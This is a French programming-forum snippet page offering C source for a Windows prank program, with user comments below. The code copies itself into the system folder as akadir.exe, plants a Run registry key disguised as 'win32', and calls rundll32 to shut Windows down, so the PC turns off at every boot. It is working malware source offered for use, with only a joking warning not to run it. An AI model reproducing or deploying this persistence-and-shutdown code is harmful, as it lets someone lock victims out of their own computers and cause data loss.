Tournez manege ...

Soyez le premier à donner votre avis sur cette source.

Snippet vu 3 228 fois - Téléchargée 35 fois

Contenu du snippet

comment enteindre le pc des qu'il demarre.
ca cre une clef dans la base de registre et pis apres vous savez lire je crois ...
ATTENTION !!!! ne pas executer ce programme !!!!!!
en cas de pbl :
1° booter sur un cd ou une disquette puis virer la clef et dans msconfig.exe menu demarrer virrer le truc mechant
2° mettre votre DD en slave sur un autre pc puis apresavoir sauvegarder vos donnés, tirer a bout portant dans le dd :p
3° je vois po ... mais ya surement :p

Source / Exemple :


#include <stdlib.h>
#include <windows.h>

void main()
{

	HKEY key;
	char windobedir[81];	
	char *progdir;
	
	GetWindowsDirectory(windobedir,50);
	progdir = GetCommandLine();
	strcat(windobedir,"\\system\\akadir.exe");
	if(strcmp(progdir,windobedir) != 0)
	CopyFile(progdir,windobedir,FALSE);
	RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
	RegSetValueEx(key,"win32",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
	RegCloseKey(key);
	system("c:\\windows\\rundll32.exe c:\\windows\\user.exe,exitWindows"); // c'est cette ligne la qui est mechante !
}

Conclusion :


JE ME DEGAGE DE TOUTE RESPONSABILITE EN CAS DE CRASH DE VOTRE PC ! vous etes au moins au courant :p

A voir également

Ajouter un commentaire Commentaires
Messages postés
286
Date d'inscription
jeudi 2 janvier 2003
Statut
Membre
Dernière intervention
16 juillet 2007

enfin, apres reflexion.. je me dit ke vu ke rundll32 et user.exe etant dees composant de windows, leur chemein peut etre omis.. comme par exemple ds executer, on peut remplacer c:windowscmd.exe par cmd :)
Messages postés
286
Date d'inscription
jeudi 2 janvier 2003
Statut
Membre
Dernière intervention
16 juillet 2007

enfin, apres reflexion.. je me dit ke vu ke rundll32 et user.exe etant dees composant de windows, leur chemein peut etre omis.. comme par exemple ds executer, on peut remplacer c:windowscmd.exe par cmd :
Messages postés
23
Date d'inscription
lundi 21 avril 2003
Statut
Membre
Dernière intervention
3 août 2004

AHHH t'es vraiment diabolique... mais ca reste que c'est trippant!
Messages postés
3006
Date d'inscription
dimanche 14 avril 2002
Statut
Membre
Dernière intervention
31 décembre 2008

ben parce qu'il veut concaténer des char avec l'opérateur +, ça ne va pas (forcément)
Messages postés
949
Date d'inscription
mardi 2 octobre 2001
Statut
Membre
Dernière intervention
8 juillet 2006

Ta 'ligne' ne 'marche' absolument pas en C retaks666.
Afficher les 11 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.